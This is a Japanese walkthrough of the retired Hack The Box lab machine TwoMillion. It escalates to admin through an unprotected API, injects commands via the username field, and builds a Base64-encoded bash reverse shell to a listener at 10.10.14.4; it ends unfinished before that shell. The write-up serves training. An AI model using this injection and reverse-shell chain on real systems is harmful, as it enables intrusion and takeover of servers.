- Published on
Hack The Box
- Authors
- Name
- Eito YONEYAMA
- @ynym_8
Hack The Box
アカウント登録
Kali Linux
Kali Linux を Get Kali からダウンロードする.
OpenVPN クライアントの設定
まず, Hack The Box のダッシュボードの CONNECT TO HTB > Machines > OpenVPN
からファイルをダウンロードする (以降, このファイルを <your_username>.ovpn
とする).
次に, 以下を実行する.
OpenVPN のインストール
$ sudo apt-get install openvpn
┌──(kali㉿kali)-[~]
└─$ sudo openvpn <your_username>.ovpn
これにより, Hack The Box のネットワークへ接続できる.
Aliases の設定
毎回, sudo openvpn <your_username>.ovpn
を実行するのは面倒なのでエイリアスを設定する.
~/.bashrc
を編集し, 末尾にエイリアスを追加する. ただし, ~/vpn
に <your_username>.ovpn
が配置されていることを前提とする. なお, 私の環境ではデフォルトで Bash が動作しているため ~/.bashrc
にエイリアスを追加しているが, 他のシェルを使用している場合は適宜エイリアスを追加するファイルを変更すること. 例として, Zsh ならば ~/zshrc
.
┌──(kali㉿kali)-[~]
└─$ nano ~/.bashrc
# alias
alias htb='sudo openvpn ~/vpn/<your_username>.ovpn'
source
でファイルを再読み込みして設定を反映させる.
┌──(kali㉿kali)-[~]
└─$ source ~/.bashrc
┌──(kali㉿kali)-[~]
└─$ alias
alias diff='diff --color=auto'
alias egrep='egrep --color=auto'
alias fgrep='fgrep --color=auto'
alias grep='grep --color=auto'
alias htb='sudo openvpn ~/vpn/<your_username>.ovpn'
alias ip='ip --color=auto'
alias l='ls -CF'
alias la='ls -A'
alias ll='ls -l'
alias ls='ls --color=auto'
これにより, 以下のように htb
を実行するだけで Hack The Box のネットワークへ接続することができる.
┌──(kali㉿kali)-[~]
└─$ htb
実践
Active Machines の Walkthroughs は Hack The Box の規約により公開が禁止されているため, 本記事では Retired Machines を攻略する.
マシン情報
今回プレイするマシンは TwoMillion.

なお, 今回は Hack The Box 初回ということで, Guided Mode でプレイする.
Task 1
How many TCP ports are open?
まず, Nmap でポートスキャンをする.
┌──(kali㉿kali)-[~]
└─$ nmap -Pn -p- --min-rate 2000 -sC -sV 10.10.11.221 -oN nmap-scan.log
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-07 00:17 JST
Warning: 10.10.11.221 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.11.221
Host is up (0.26s latency).
Not shown: 63146 closed tcp ports (conn-refused), 2387 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http nginx
|_http-title: Did not follow redirect to http://2million.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 107.72 seconds
上記の実行結果より, 22番ポートと80番ポートの2つのポート開いていることが分かる.
Task 2
What is the name of the JavaScript file loaded by the /invite page that has to do with invite codes?
Task 1 の結果より, バーチャルホストの設定がされているようなので, /etc/hosts
に 2million.htb
を追記して http://2million.htb/
にアクセスする.
┌──(kali㉿kali)-[~]
└─$ echo -e '10.10.11.221\t\t2million.htb' | sudo tee -a /etc/hosts
10.10.11.221 2million.htb
実際にアクセスしてみる.
┌──(kali㉿kali)-[~]
└─$ xdg-open 'http://2million.htb/'

/invite
にアクセスしてみる.

ここで, /invite
の HTML コードを取得してみる.
┌──(kali㉿kali)-[~]
└─$ curl http://2million.htb/invite
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="description" content="An online platform to test and advance your skills in penetration testing and cyber security. Join today and start training in our online labs." />
<meta name="keywords" content="penetration testing, pen testing, penetration testing labs, pen testing labs, penetration testing training">
<meta name="author" content="Hack The Box">
<title>Hack The Box :: Penetration Testing Labs</title>
<link rel="canonical" href="https://www.hackthebox.eu" />
<link rel="icon" href="/images/favicon.png">
<!-- Core CSS -->
<link href="/css/htb-frontend.css" rel="stylesheet">
</head>
<body class="blank" style="overflow-y:hidden; ">
<!-- Wrapper-->
<div class="wrapper">
<!-- Main content-->
<section class="content" style="margin:0px; padding:0px;">
<div class="container-center centerbox">
<div class="view-header">
<div class="header-icon">
<i class="pe page-header-icon pe-7s-smile"></i>
</div>
<div class="header-title">
<h3>Hi!</h3>
<small>
Feel free to hack your way in :) </small>
</div>
</div>
<div class="panel panel-filled">
<div class="panel-body">
<form id="verifyForm" method="post">
<div class="form-group ">
<label class="control-label" for="code">Invite Code</label>
<input type="text" title="Please enter your invite code" required="" value="" name="code" id="code" class="form-control">
<span class="help-block small"></span>
</div>
<div>
<button class="btn btn-accent">Sign Up</button>
</div>
</form>
</div>
</div>
<span class="help-block small text-center">If you are already a member click <a href="/login">here</a> to login.</span>
</div>
<div class="particles_full" id="particles-js"></div>
</section>
<!-- End main content-->
</div>
<!-- End wrapper-->
<!-- scripts -->
<script src="/js/htb-frontend.min.js"></script>
<script defer src="/js/inviteapi.min.js"></script>
<script defer>
$(document).ready(function() {
$('#verifyForm').submit(function(e) {
e.preventDefault();
var code = $('#code').val();
var formData = { "code": code };
$.ajax({
type: "POST",
dataType: "json",
data: formData,
url: '/api/v1/invite/verify',
success: function(response) {
if (response[0] === 200 && response.success === 1 && response.data.message === "Invite code is valid!") {
// Store the invite code in localStorage
localStorage.setItem('inviteCode', code);
window.location.href = '/register';
} else {
alert("Invalid invite code. Please try again.");
}
},
error: function(response) {
alert("An error occurred. Please try again.");
}
});
});
});
</script>
</body>
</html>
どうやら, ユーザがフォームに入力した招待コードをサーバに送信し, その有効性を検証し, 有効であれば招待コードをローカルストレージに保存し, ユーザを登録ページにリダイレクトするようである. そして, 招待コードの検証や処理に関するファイルは inviteapi.min.js
と推測される.
Task 3
What JavaScript function on the invite page returns the first hint about how to get an invite code? Don't include () in the answer.
ブラウザの開発者ツールで inviteapi.min.js
のコードを見てみる.
eval(function(p, a, c, k, e, d) {
e = function(c) {
return c.toString(36)
}
;
if (!''.replace(/^/, String)) {
while (c--) {
d[c.toString(a)] = k[c] || c.toString(a)
}
k = [function(e) {
return d[e]
}
];
e = function() {
return '\\w+'
}
;
c = 1
}
;while (c--) {
if (k[c]) {
p = p.replace(new RegExp('\\b' + e(c) + '\\b','g'), k[c])
}
}
return p
}('1 i(4){h 8={"4":4};$.9({a:"7",5:"6",g:8,b:\'/d/e/n\',c:1(0){3.2(0)},f:1(0){3.2(0)}})}1 j(){$.9({a:"7",5:"6",b:\'/d/e/k/l/m\',c:1(0){3.2(0)},f:1(0){3.2(0)}})}', 24, 24, 'response|function|log|console|code|dataType|json|POST|formData|ajax|type|url|success|api/v1|invite|error|data|var|verifyInviteCode|makeInviteCode|how|to|generate|verify'.split('|'), 0, {}))
eval
関数で圧縮されているようなので, de4js で解凍する.
function verifyInviteCode(code) {
var formData = {
"code": code
};
$.ajax({
type: "POST",
dataType: "json",
data: formData,
url: '/api/v1/invite/verify',
success: function(response) {
console.log(response)
},
error: function(response) {
console.log(response)
}
})
}
function makeInviteCode() {
$.ajax({
type: "POST",
dataType: "json",
url: '/api/v1/invite/how/to/generate',
success: function(response) {
console.log(response)
},
error: function(response) {
console.log(response)
}
})
}
inviteapi.min.js
には verifyInviteCode
と makeInviteCode
の2つの関数が定義されている. verifyInviteCode
は, /api/v1/invite/verify
に POST リクエストを送信し, 招待コードの有効性を検証する関数のようである. makeInviteCode
は, 招待コードを生成するための POST リクエストを送信する関数のようである. そして, 招待コードを生成するエンドポイントには /api/v1/invite/how/to/generate
が指定されている.
実際に, /api/v1/invite/how/to/generate
に POST リクエストを送信してみる.
┌──(kali㉿kali)-[~]
└─$ curl -sX POST http://2million.htb/api/v1/invite/how/to/generate | jq
{
"0": 200,
"success": 1,
"data": {
"data": "Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb /ncv/i1/vaivgr/trarengr",
"enctype": "ROT13"
},
"hint": "Data is encrypted ... We should probbably check the encryption type in order to decrypt it..."
}
makeInviteCode
が招待コードを生成するためのヒントを示してくれる関数であることが分かる.
Task 4
The endpoint in makeInviteCode returns encrypted data. That message provides another endpoint to query. That endpoint returns a code value that is encoded with what very common binary to text encoding format. What is the name of that encoding?
Task 4 で得られた結果 (レスポンス) を見てみると, ROT13 でデータが暗号化されているため, 復号してみる.
┌──(kali㉿kali)-[~]
└─$ echo "Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb /ncv/i1/vaivgr/trarengr" | tr 'A-Za-z' 'N-ZA-Mn-za-m'
In order to generate the invite code, make a POST request to /api/v1/invite/generate
復号データによると, 招待コードを生成するためには /api/v1/invite/generate
に POST リクエストを送信する必要がある. このことを踏まえて, /api/v1/invite/generate
に POST リクエストを送信してみる.
┌──(kali㉿kali)-[~]
└─$ curl -sX POST http://2million.htb/api/v1/invite/generate | jq
{
"0": 200,
"success": 1,
"data": {
"code": "SEdCTUMtOFNDQk8tMUZNODAtOTMwQUI=",
"format": "encoded"
}
}
上記の実行結果より, エンコードされた招待コード SEdCTUMtOFNDQk8tMUZNODAtOTMwQUI=
が得られた. これを Base64 でデコードする.
┌──(kali㉿kali)-[~]
└─$ echo "SEdCTUMtOFNDQk8tMUZNODAtOTMwQUI=" | base64 --decode
HGBMC-8SCBO-1FM80-930AB
これにより, 招待コード HGBMC-8SCBO-1FM80-930AB
が得られた.
Task 5
What is the path to the endpoint the page uses when a user clicks on "Connection Pack"?
Task 5 で得られた招待コードを使ってアカウントを登録してみる.
まず, /invite
で招待コード HGBMC-8SCBO-1FM80-930AB
を入力し, Sign Up
をクリックする.


Sign Up
により, /register
にリダイレクトした. 各項目を入力し, Register
をクリックする.

Register
により, /login
にリダイレクトした. 各項目を入力し, Login
をクリックする.

Login
により, /home
にリダイレクトした. VPN を入手するために, Access
をクリックする.

/home/access
にリダイレクト後, Connection Pack
をクリックした際の処理を BurpSuite で監視してみる.
GET /api/v1/user/vpn/generate HTTP/1.1
Host: 2million.htb
Accept-Language: en-US
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.6478.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://2million.htb/home/access
Accept-Encoding: gzip, deflate, br
Cookie: PHPSESSID=1flaq7pdva901m1imj6ppmsufr
Connection: keep-alive
上記の出力より, Connection Pack
をクリックすると, /api/v1/user/vpn/generate
に GET リクエストが送信され, VPN がダウンロードされたことが分かる.
Task 6
How many API endpoints are there under /api/v1/admin?
取り敢えず, /api
へリクエストを送信し, レスポンスを見てみる.
┌──(kali㉿kali)-[~]
└─$ curl -sv 2million.htb/api
* Host 2million.htb:80 was resolved.
* IPv6: (none)
* IPv4: 10.10.11.221
* Trying 10.10.11.221:80...
* Connected to 2million.htb (10.10.11.221) port 80
> GET /api HTTP/1.1
> Host: 2million.htb
> User-Agent: curl/8.7.1
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 401 Unauthorized
< Server: nginx
< Date: Sat, 14 Sep 2024 01:57:47 GMT
< Content-Type: text/html; charset=UTF-8
< Transfer-Encoding: chunked
< Connection: keep-alive
< Set-Cookie: PHPSESSID=cgsce1mudo4dncn8sdfbvdhtvr; path=/
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Pragma: no-cache
<
* Connection #0 to host 2million.htb left intact
上記の実行結果より, 401 Unauthorized
ステータスコードが返されていることが分かる. ここで, BurpSuite により得られた以下の PHP セッションクッキーを利用してアクセスを試みる.
Cookie: PHPSESSID=1flaq7pdva901m1imj6ppmsufr
┌──(kali㉿kali)-[~]
└─$ curl -sv 2million.htb/api --cookie "PHPSESSID=1flaq7pdva901m1imj6ppmsufr" | jq
* Host 2million.htb:80 was resolved.
* IPv6: (none)
* IPv4: 10.10.11.221
* Trying 10.10.11.221:80...
* Connected to 2million.htb (10.10.11.221) port 80
> GET /api HTTP/1.1
> Host: 2million.htb
> User-Agent: curl/8.7.1
> Accept: */*
> Cookie: PHPSESSID=1flaq7pdva901m1imj6ppmsufr
>
* Request completely sent off
< HTTP/1.1 200 OK
< Server: nginx
< Date: Sat, 14 Sep 2024 01:58:32 GMT
< Content-Type: application/json
< Transfer-Encoding: chunked
< Connection: keep-alive
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Pragma: no-cache
<
{ [47 bytes data]
* Connection #0 to host 2million.htb left intact
{
"/api/v1": "Version 1 of the API"
}
上記の実行結果より, Version 1 of the API
が /api/v1
経由で利用可能であることが分かる. このことを踏まえて, /api/v1
のレスポンスを確認してみる.
┌──(kali㉿kali)-[~]
└─$ curl -sv 2million.htb/api/v1 --cookie "PHPSESSID=1flaq7pdva901m1imj6ppmsufr" | jq
└─$ curl -sv 2million.htb/api/v1 --cookie "PHPSESSID=1flaq7pdva901m1imj6ppmsufr" | jq
* Host 2million.htb:80 was resolved.
* IPv6: (none)
* IPv4: 10.10.11.221
* Trying 10.10.11.221:80...
* Connected to 2million.htb (10.10.11.221) port 80
> GET /api/v1 HTTP/1.1
> Host: 2million.htb
> User-Agent: curl/8.7.1
> Accept: */*
> Cookie: PHPSESSID=1flaq7pdva901m1imj6ppmsufr
>
* Request completely sent off
< HTTP/1.1 200 OK
< Server: nginx
< Date: Sat, 14 Sep 2024 01:59:23 GMT
< Content-Type: application/json
< Transfer-Encoding: chunked
< Connection: keep-alive
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Pragma: no-cache
<
{ [812 bytes data]
* Connection #0 to host 2million.htb left intact
{
"v1": {
"user": {
"GET": {
"/api/v1": "Route List",
"/api/v1/invite/how/to/generate": "Instructions on invite code generation",
"/api/v1/invite/generate": "Generate invite code",
"/api/v1/invite/verify": "Verify invite code",
"/api/v1/user/auth": "Check if user is authenticated",
"/api/v1/user/vpn/generate": "Generate a new VPN configuration",
"/api/v1/user/vpn/regenerate": "Regenerate VPN configuration",
"/api/v1/user/vpn/download": "Download OVPN file"
},
"POST": {
"/api/v1/user/register": "Register a new user",
"/api/v1/user/login": "Login with existing user"
}
},
"admin": {
"GET": {
"/api/v1/admin/auth": "Check if user is admin"
},
"POST": {
"/api/v1/admin/vpn/generate": "Generate VPN for specific user"
},
"PUT": {
"/api/v1/admin/settings/update": "Update user settings"
}
}
}
}
上記の実行結果より, API で利用可能なエンドポイントのリストが確認できる.
Task 7
What API endpoint can change a user account to an admin account?
/api/v1/admin/auth
にリクエストを送信して, 自分が管理者権限を持っているかを確認してみる.
┌──(kali㉿kali)-[~]
└─$ curl -sv 2million.htb/api/v1/admin/auth --cookie "PHPSESSID=1flaq7pdva901m1imj6ppmsufr" | jq
* Host 2million.htb:80 was resolved.
* IPv6: (none)
* IPv4: 10.10.11.221
* Trying 10.10.11.221:80...
* Connected to 2million.htb (10.10.11.221) port 80
> GET /api/v1/admin/auth HTTP/1.1
> Host: 2million.htb
> User-Agent: curl/8.7.1
> Accept: */*
> Cookie: PHPSESSID=1flaq7pdva901m1imj6ppmsufr
>
* Request completely sent off
< HTTP/1.1 200 OK
< Server: nginx
< Date: Sat, 14 Sep 2024 02:00:29 GMT
< Content-Type: application/json
< Transfer-Encoding: chunked
< Connection: keep-alive
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Pragma: no-cache
<
{ [28 bytes data]
* Connection #0 to host 2million.htb left intact
{
"message": false
}
上記の実行結果より, 管理者権限はないことが分かる. 管理者権限を取得するために, /api/v1/admin/vpn/generate
への POST リクエストを試みる.
┌──(kali㉿kali)-[~]
└─$ curl -sv -X POST 2million.htb/api/v1/admin/vpn/generate --cookie "PHPSESSID=1flaq7pdva901m1imj6ppmsufr" | jq
* Host 2million.htb:80 was resolved.
* IPv6: (none)
* IPv4: 10.10.11.221
* Trying 10.10.11.221:80...
* Connected to 2million.htb (10.10.11.221) port 80
> POST /api/v1/admin/vpn/generate HTTP/1.1
> Host: 2million.htb
> User-Agent: curl/8.7.1
> Accept: */*
> Cookie: PHPSESSID=1flaq7pdva901m1imj6ppmsufr
>
* Request completely sent off
< HTTP/1.1 401 Unauthorized
< Server: nginx
< Date: Sat, 14 Sep 2024 02:01:00 GMT
< Content-Type: text/html; charset=UTF-8
< Transfer-Encoding: chunked
< Connection: keep-alive
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Pragma: no-cache
<
{ [5 bytes data]
* Connection #0 to host 2million.htb left intact
上記の実行結果より, 401 Unauthorised
ステータスコードが返されていることが分かる. そのため, /api/v1/admin/settings/update
への PUT リクエストに切り替えてみる.
┌──(kali㉿kali)-[~]
└─$ curl -sv -X PUT 2million.htb/api/v1/admin/settings/update --cookie "PHPSESSID=1flaq7pdva901m1imj6ppmsufr" | jq
* Host 2million.htb:80 was resolved.
* IPv6: (none)
* IPv4: 10.10.11.221
* Trying 10.10.11.221:80...
* Connected to 2million.htb (10.10.11.221) port 80
> PUT /api/v1/admin/settings/update HTTP/1.1
> Host: 2million.htb
> User-Agent: curl/8.7.1
> Accept: */*
> Cookie: PHPSESSID=1flaq7pdva901m1imj6ppmsufr
>
* Request completely sent off
< HTTP/1.1 200 OK
< Server: nginx
< Date: Sat, 14 Sep 2024 02:01:39 GMT
< Content-Type: application/json
< Transfer-Encoding: chunked
< Connection: keep-alive
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Pragma: no-cache
<
{ [64 bytes data]
* Connection #0 to host 2million.htb left intact
{
"status": "danger",
"message": "Invalid content type."
}
上記の実行結果より, API から Invalid content type.
が返されたことが分かる. 次に, Content-Type
ヘッダを JSON に定義して, 再度 PUT リクエストを試みる.
┌──(kali㉿kali)-[~]
└─$ curl -sv -X PUT 2million.htb/api/v1/admin/settings/update --cookie "PHPSESSID=1flaq7pdva901m1imj6ppmsufr" --header "Content-Type: application/json" | jq
* Host 2million.htb:80 was resolved.
* IPv6: (none)
* IPv4: 10.10.11.221
* Trying 10.10.11.221:80...
* Connected to 2million.htb (10.10.11.221) port 80
> PUT /api/v1/admin/settings/update HTTP/1.1
> Host: 2million.htb
> User-Agent: curl/8.7.1
> Accept: */*
> Cookie: PHPSESSID=1flaq7pdva901m1imj6ppmsufr
> Content-Type: application/json
>
* Request completely sent off
< HTTP/1.1 200 OK
< Server: nginx
< Date: Sat, 14 Sep 2024 02:02:26 GMT
< Content-Type: application/json
< Transfer-Encoding: chunked
< Connection: keep-alive
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Pragma: no-cache
<
{ [67 bytes data]
* Connection #0 to host 2million.htb left intact
{
"status": "danger",
"message": "Missing parameter: email"
}
上記の実行結果より, email
が指定されていないことが分かる. そのため, アカウント登録時に入力したメールアドレスを email
に指定して, 再度 PUT リクエストを試みる.
┌──(kali㉿kali)-[~]
└─$ curl -sv -X PUT 2million.htb/api/v1/admin/settings/update --cookie "PHPSESSID=1flaq7pdva901m1imj6ppmsufr" --header "Content-Type: application/json" --data '{"email":"test@test.com"}' | jq
* Host 2million.htb:80 was resolved.
* IPv6: (none)
* IPv4: 10.10.11.221
* Trying 10.10.11.221:80...
* Connected to 2million.htb (10.10.11.221) port 80
> PUT /api/v1/admin/settings/update HTTP/1.1
> Host: 2million.htb
> User-Agent: curl/8.7.1
> Accept: */*
> Cookie: PHPSESSID=1flaq7pdva901m1imj6ppmsufr
> Content-Type: application/json
> Content-Length: 25
>
} [25 bytes data]
* upload completely sent off: 25 bytes
< HTTP/1.1 200 OK
< Server: nginx
< Date: Sat, 14 Sep 2024 02:03:24 GMT
< Content-Type: application/json
< Transfer-Encoding: chunked
< Connection: keep-alive
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Pragma: no-cache
<
{ [70 bytes data]
* Connection #0 to host 2million.htb left intact
{
"status": "danger",
"message": "Missing parameter: is_admin"
}
上記の実行結果より, is_admin
が指定されていないことが分かる. そのため, is_admin
を true
にして, 再度 PUT リクエストを試みる.
┌──(kali㉿kali)-[~]
└─$ curl -sv -X PUT 2million.htb/api/v1/admin/settings/update --cookie "PHPSESSID=1flaq7pdva901m1imj6ppmsufr" --header "Content-Type: application/json" --data '{"email":"test@test.com", "is_admin": true}' | jq
* Host 2million.htb:80 was resolved.
* IPv6: (none)
* IPv4: 10.10.11.221
* Trying 10.10.11.221:80...
* Connected to 2million.htb (10.10.11.221) port 80
> PUT /api/v1/admin/settings/update HTTP/1.1
> Host: 2million.htb
> User-Agent: curl/8.7.1
> Accept: */*
> Cookie: PHPSESSID=1flaq7pdva901m1imj6ppmsufr
> Content-Type: application/json
> Content-Length: 43
>
} [43 bytes data]
* upload completely sent off: 43 bytes
< HTTP/1.1 200 OK
< Server: nginx
< Date: Sat, 14 Sep 2024 02:04:01 GMT
< Content-Type: application/json
< Transfer-Encoding: chunked
< Connection: keep-alive
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Pragma: no-cache
<
{ [87 bytes data]
* Connection #0 to host 2million.htb left intact
{
"status": "danger",
"message": "Variable is_admin needs to be either 0 or 1."
}
上記の実行結果より, is_admin
は 0
か 1
しかとらないことが分かる. そのため, is_admin
を 1
にして, 再度 PUT リクエストを試みる.
┌──(kali㉿kali)-[~]
└─$ curl -sv -X PUT 2million.htb/api/v1/admin/settings/update --cookie "PHPSESSID=1flaq7pdva901m1imj6ppmsufr" --header "Content-Type: application/json" --data '{"email":"test@test.com", "is_admin": '1'}' | jq
* Host 2million.htb:80 was resolved.
* IPv6: (none)
* IPv4: 10.10.11.221
* Trying 10.10.11.221:80...
* Connected to 2million.htb (10.10.11.221) port 80
> PUT /api/v1/admin/settings/update HTTP/1.1
> Host: 2million.htb
> User-Agent: curl/8.7.1
> Accept: */*
> Cookie: PHPSESSID=1flaq7pdva901m1imj6ppmsufr
> Content-Type: application/json
> Content-Length: 40
>
} [40 bytes data]
* upload completely sent off: 40 bytes
< HTTP/1.1 200 OK
< Server: nginx
< Date: Sat, 14 Sep 2024 02:04:26 GMT
< Content-Type: application/json
< Transfer-Encoding: chunked
< Connection: keep-alive
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Pragma: no-cache
<
{ [51 bytes data]
* Connection #0 to host 2million.htb left intact
{
"id": 14,
"username": "test",
"is_admin": 1
}
上記の実行結果より, 管理者権限を取得できた様な気がするので, /api/v1/admin/auth
へリクエストを送信して確認してみる.
┌──(rice8㉿DESKTOP-KKT3IC5)-[~]
└─$ curl -sv 2million.htb/api/v1/admin/auth --cookie "PHPSESSID=1flaq7pdva901m1imj6ppmsufr" | jq
* Host 2million.htb:80 was resolved.
* IPv6: (none)
* IPv4: 10.10.11.221
* Trying 10.10.11.221:80...
* Connected to 2million.htb (10.10.11.221) port 80
> GET /api/v1/admin/auth HTTP/1.1
> Host: 2million.htb
> User-Agent: curl/8.7.1
> Accept: */*
> Cookie: PHPSESSID=1flaq7pdva901m1imj6ppmsufr
>
* Request completely sent off
< HTTP/1.1 200 OK
< Server: nginx
< Date: Sat, 14 Sep 2024 02:04:53 GMT
< Content-Type: application/json
< Transfer-Encoding: chunked
< Connection: keep-alive
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Pragma: no-cache
<
{ [27 bytes data]
* Connection #0 to host 2million.htb left intact
{
"message": true
}
上記の実行結果より, message
が true
になり, 無事に管理者権限を取得できたことが分かる. 管理者権限を取得できたため, 再度 /api/v1/admin/vpn/generate
への POST リクエストを試みる.
┌──(kali㉿kali)-[~]
└─$ curl -sv -X POST 2million.htb/api/v1/admin/vpn/generate --cookie "PHPSESSID=1flaq7pdva901m1imj6ppmsufr" --header "Content-Type: application/json" | jq
* Host 2million.htb:80 was resolved.
* IPv6: (none)
* IPv4: 10.10.11.221
* Trying 10.10.11.221:80...
* Connected to 2million.htb (10.10.11.221) port 80
> POST /api/v1/admin/vpn/generate HTTP/1.1
> Host: 2million.htb
> User-Agent: curl/8.7.1
> Accept: */*
> Cookie: PHPSESSID=1flaq7pdva901m1imj6ppmsufr
> Content-Type: application/json
>
* Request completely sent off
< HTTP/1.1 200 OK
< Server: nginx
< Date: Sat, 14 Sep 2024 02:05:17 GMT
< Content-Type: text/html; charset=UTF-8
< Transfer-Encoding: chunked
< Connection: keep-alive
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Pragma: no-cache
<
{ [70 bytes data]
* Connection #0 to host 2million.htb left intact
{
"status": "danger",
"message": "Missing parameter: username"
}
上記の実行結果より, username
が指定されていないことが分かる. そのため, アカウント登録時に入力したユーザネームを username
に指定して, 再度 POST リクエストを試みる.
┌──(kali㉿kali)-[~]
└─$ curl -sv -X POST 2million.htb/api/v1/admin/vpn/generate --cookie "PHPSESSID=1flaq7pdva901m1imj6ppmsufr" --header "Content-Type: application/json" --data '{"username":"test"}'
* Host 2million.htb:80 was resolved.
* IPv6: (none)
* IPv4: 10.10.11.221
* Trying 10.10.11.221:80...
* Connected to 2million.htb (10.10.11.221) port 80
> POST /api/v1/admin/vpn/generate HTTP/1.1
> Host: 2million.htb
> User-Agent: curl/8.7.1
> Accept: */*
> Cookie: PHPSESSID=1flaq7pdva901m1imj6ppmsufr
> Content-Type: application/json
> Content-Length: 19
>
* upload completely sent off: 19 bytes
< HTTP/1.1 200 OK
< Server: nginx
< Date: Sat, 14 Sep 2024 02:05:43 GMT
< Content-Type: text/html; charset=UTF-8
< Transfer-Encoding: chunked
< Connection: keep-alive
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Pragma: no-cache
<
client
dev tun
proto udp
remote edge-eu-free-1.2million.htb 1337
resolv-retry infinite
nobind
persist-key
persist-tun
remote-cert-tls server
comp-lzo
verb 3
data-ciphers-fallback AES-128-CBC
data-ciphers AES-256-CBC:AES-256-CFB:AES-256-CFB1:AES-256-CFB8:AES-256-OFB:AES-256-GCM
tls-cipher "DEFAULT:@SECLEVEL=0"
auth SHA256
key-direction 1
<ca>
-----BEGIN CERTIFICATE-----
MIIGADCCA+igAwIBAgIUQxzHkNyCAfHzUuoJgKZwCwVNjgIwDQYJKoZIhvcNAQEL
<SNIP>
上記の実行結果より, VPN が生成されたことが分かる. ここで, exec
や system
等のPHP 関数により VPN が生成されたと推測し, コマンドインジェクションを試みる.
┌──(kali㉿kali)-[~]
└─$ curl -sv -X POST 2million.htb/api/v1/admin/vpn/generate --cookie "PHPSESSID=1flaq7pdva901m1imj6ppmsufr" --header "Content-Type: application/json" --data '{"username":"test;id;"}'
* Host 2million.htb:80 was resolved.
* IPv6: (none)
* IPv4: 10.10.11.221
* Trying 10.10.11.221:80...
* Connected to 2million.htb (10.10.11.221) port 80
> POST /api/v1/admin/vpn/generate HTTP/1.1
> Host: 2million.htb
> User-Agent: curl/8.7.1
> Accept: */*
> Cookie: PHPSESSID=1flaq7pdva901m1imj6ppmsufr
> Content-Type: application/json
> Content-Length: 23
>
* upload completely sent off: 23 bytes
< HTTP/1.1 200 OK
< Server: nginx
< Date: Sat, 14 Sep 2024 02:06:25 GMT
< Content-Type: text/html; charset=UTF-8
< Transfer-Encoding: chunked
< Connection: keep-alive
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Pragma: no-cache
<
uid=33(www-data) gid=33(www-data) groups=33(www-data)
* Connection #0 to host 2million.htb left intact
上記の実行結果より, コマンドインジェクションの脆弱性が確認できた.
Task 9
What file is commonly used in PHP applications to store environment variable values?
Task 9 でコマンドが実行できることが分かったため, 次は, リバーズシェルの確立を試みる.
まず, Netcat リスナーを設定する.
┌──(kali㉿kali)-[~]
└─$ nc -lvp 1234
listening on [any] 1234 ...
次に, 以下のようなリバースシェルのペイロードを作成する.
bash -i >& /dev/tcp/10.10.14.4/1234 0>&1
これを, Base64 でエンコードする.
┌──(kali㉿kali)-[~]
└─$ echo 'bash -i >& /dev/tcp/10.10.14.4/1234 0>&1' | base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzEyMzQgMD4mMQo=
そして, エンコードしたペイロードを含む cURL リクエストを作成する.
curl -sv -X POST http://2million.htb/api/v1/admin/vpn/generate --cookie "PHPSESSID=1flaq7pdva901m1imj6ppmsufr" --header "Content-Type: application/json" --data '{"username":"test;echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzEyMzQgMD4mMQo= | base64 -decode | bash;"}'
NOTE
Hack The Box の VIP が失効したため執筆を終了します. 以後, 再執筆することはありません.